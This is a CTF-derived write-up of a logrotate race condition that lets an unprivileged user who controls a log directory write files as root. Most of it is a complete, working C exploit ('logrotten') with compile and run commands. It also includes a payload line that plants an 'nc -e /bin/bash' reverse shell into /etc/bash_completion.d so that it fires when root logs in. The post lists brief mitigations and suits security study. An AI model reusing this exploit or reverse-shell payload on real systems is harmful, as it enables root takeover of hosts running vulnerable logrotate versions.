Together with a friend we took part of the Capture The Flag at the 35C3. One challenge was that one:
Logrotate is designed to ease administration of systems that generate large numbers of log files. It allows automatic rotation, compression, removal, and mailing of log files. Each log file may be handled daily, weekly, monthly, or when it grows too large. It also gives you a root shell.
After searching at google I found out about a race condition in logrotate. In many bug reports it was stated that a race condition exists if logrotate gets executed with the “create” option. A very detailed and brilliant analysis of the problem could be found at the blog of the nsogroup. Their exploit was very specific for the CTF challenge and it needs a suid binary that executes run-parts(cron). It worked for the CTF and I guess they earned their points. I was too slow and did not solve the challenge but I tried to finish it at home. My approach was to use inotify on /tmp/log/pwn.log to trigger the race. It seems that the logrotate bug could be exploited on live environments.
Requirements
In order to exploit this vulnerability for privilege escalation the following requirements must be met:
- logrotate has to be run as user root
- an unprivileged user has to be in control of the logdir-path
- the configfile should include any directive that creates new files.
An attacker could elevate his privileges by writing reverse-shells into directories like “/etc/bash_completition.d/”. This is how the logrotate-config looks like:
/tmp/log/pwnme.log {
daily
rotate 12
missingok
notifempty
size 1k
create
}
My unprivileged user is totally in control of /tmp/log/:
osboxes@osboxes:~$ ls -l /tmp/log
total 2940
-rw-r--r-- 1 osboxes osboxes 200000 Jan 14 15:34 pwnme.log
-rw-r--r-- 1 osboxes osboxes 200000 Jan 14 15:34 pwnme.log.0
-rw-r--r-- 1 osboxes osboxes 200000 Jan 14 15:34 pwnme.log.1
-rw-r--r-- 1 osboxes osboxes 200000 Jan 14 15:34 pwnme.log.10
-rw-r--r-- 1 osboxes osboxes 200000 Jan 14 15:34 pwnme.log.11
-rw-r--r-- 1 osboxes osboxes 200000 Jan 14 15:34 pwnme.log.12
-rw-r--r-- 1 osboxes osboxes 200000 Jan 14 15:34 pwnme.log.13
-rw-r--r-- 1 osboxes osboxes 200000 Jan 14 15:34 pwnme.log.2
-rw-r--r-- 1 osboxes osboxes 200000 Jan 14 15:34 pwnme.log.3
-rw-r--r-- 1 osboxes osboxes 200000 Jan 14 15:34 pwnme.log.4
-rw-r--r-- 1 osboxes osboxes 200000 Jan 14 15:34 pwnme.log.5
-rw-r--r-- 1 osboxes osboxes 200000 Jan 14 15:34 pwnme.log.6
-rw-r--r-- 1 osboxes osboxes 200000 Jan 14 15:34 pwnme.log.7
-rw-r--r-- 1 osboxes osboxes 200000 Jan 14 15:34 pwnme.log.8
-rw-r--r-- 1 osboxes osboxes 200000 Jan 14 15:34 pwnme.log.9
osboxes@osboxes:~$ ls -ld /tmp/log
drwxr-xr-x 2 osboxes osboxes 4096 Jan 14 15:34 /tmp/log
Exploit
The vulnerability can be triggerd by replacing /tmp/log by a symlink to /etc/bash_completition.d after /tmp/log/pwnme.log got renamed. I wrote the following Exploit:
/*
* logrotate poc exploit
*
* [Brief description]
* - logrotate is prone to a race condition after renaming the logfile.
* - If logrotate is executed as root and the user is in control of the logfile path, it is possible to abuse a race-condition to write files in ANY directories.
* - An attacker could elevate his privileges by writing reverse-shells into
* directories like "/etc/bash_completition.d/".
* - This vulnerability was found during a challenge at the 35c3 CTF
* ( https://ctftime.org/event/718 )
* - A detailed description and a PoC of this challenge was written by the
* - nsogroup ( https://blog.nsogroup.com/logrotate-zajebiste-500-points/ )
*
* [Precondition for privilege escalation]
* - Logrotate needs to be executed as root
* - The logpath needs to be in control of the attacker
* - "create" option is set in the logrotate configuration.
* This exploit might not work without
*
* [Tested version]
* - Debian GNU/Linux 9.5 (stretch)
* - Amazon Linux 2 AMI (HVM)
* - Ubuntu 18.04.1
* - logrotate 3.8.6
* - logrotate 3.11.0
* - logrotate 3.15.0
*
* [Compile]
* - gcc -o logrotten logrotten.c
*
* [Prepare payload]
* - echo "if [`id -u` -eq 0]; then (/bin/nc -e /bin/bash myhost 3333 &); fi" > payloadfile
*
* [Run exploit]
* - nice -n -20 ./logrotten /tmp/log/pwnme.log payloadfile
*
* [Known Problems]
* - It's hard to win the race inside a docker container
*
* [Mitigation]
* - make sure that logpath is owned by root
* - or use option "nocreate"
*
* [Author]
* - Wolfgang Hotwagner
*
* [Contact]
* - https://tech.feedyourhead.at/content/abusing-a-race-condition-in-logrotate-to-elevate-privileges
* - https://github.com/whotwagner/logrotten
*/
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <sys>
#include <sys>
#include <unistd.h>
#include <string.h>
#include <alloca.h>
#include <sys>
#define EVENT_SIZE ( sizeof (struct inotify_event) )
#define EVENT_BUF_LEN ( 1024 * ( EVENT_SIZE + 16 ) )
/* use TARGETDIR without "/" at the end */
#define TARGETDIR "/etc/bash_completion.d"
#define DEBUG 1
int main(int argc, char* argv[] )
{
int length, i = 0;
int j = 0;
int index = 0;
int fd;
int wd;
char buffer[EVENT_BUF_LEN];
const char *payloadfile;
const char *logfile;
char *logpath;
char *logpath2;
char *targetpath;
char *targetdir;
char ch;
const char *p;
FILE *source, *target;
if(argc < 3)
{
fprintf(stderr,"usage: %s <logfile> <payloadfile> [targetdir]\n",argv[0]);
exit(1);
}
logfile = argv[1];
payloadfile = argv[2];
for(j=strlen(logfile); (logfile[j] != '/') && (j != 0); j--);
index = j+1;
p = &logfile[index];
logpath = alloca(strlen(logfile)*sizeof(char));
logpath2 = alloca((strlen(logfile)+2)*sizeof(char));
if(argc > 3)
{
targetdir = argv[3];
targetpath = alloca( ( (strlen(argv[3])) + (strlen(p)) +3) *sizeof(char));
strcat(targetpath,argv[3]);
}
else
{
targetdir= TARGETDIR;
targetpath = alloca( ( (strlen(TARGETDIR)) + (strlen(p)) +3) *sizeof(char));
targetpath[0] = '\0';
strcat(targetpath,TARGETDIR);
}
strcat(targetpath,"/");
strcat(targetpath,p);
for(j = 0; j < index; j++)
logpath[j] = logfile[j];
logpath[j-1] = '\0';
strcpy(logpath2,logpath);
logpath2[strlen(logpath)] = '2';
logpath2[strlen(logpath)+1] = '\0';
/*creating the INOTIFY instance*/
fd = inotify_init();
if( DEBUG == 1)
{
printf("logfile: %s\n",logfile);
printf("logpath: %s\n",logpath);
printf("logpath2: %s\n",logpath2);
printf("targetpath: %s\n",targetpath);
printf("targetdir: %s\n",targetdir);
printf("p: %s\n",p);
}
/*checking for error*/
if ( fd < 0 ) {
perror( "inotify_init" );
}
wd = inotify_add_watch( fd,logpath, IN_MOVED_FROM );
while(1)
{
i=0;
length = read( fd, buffer, EVENT_BUF_LEN );
while (i < length) {
struct inotify_event *event = ( struct inotify_event * ) &buffer[i]; if ( event->len ) {
if ( event->mask & IN_MOVED_FROM ) {
if(strcmp(event->name,p) == 0)
{
/* printf( "Something is moved %s.\n", event->name ); */
rename(logpath,logpath2);
symlink(targetdir,logpath);
sleep(1);
source = fopen(payloadfile, "r");
if(source == NULL)
exit(EXIT_FAILURE);
target = fopen(targetpath, "w");
if(target == NULL)
{
fclose(source);
exit(EXIT_FAILURE);
}
while ((ch = fgetc(source)) != EOF)
fputc(ch, target);
chmod(targetpath,S_IRUSR | S_IXUSR | S_IRGRP | S_IXGRP | S_IROTH | S_IXOTH);
fclose(source);
fclose(target);
inotify_rm_watch( fd, wd );
close( fd );
exit(EXIT_SUCCESS);
}
}
}
i += EVENT_SIZE + event->len;
}
}
/*removing from the watch list.*/
inotify_rm_watch( fd, wd );
/*closing the INOTIFY instance*/
close( fd );
exit(EXIT_SUCCESS);
}
As soon as root logs in, the reverse shell gets executed with root privileges.
Known Issues
I wasn’t able to win the race inside a docker container or lvm-volume.
Update: More details about this problem can be found at https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition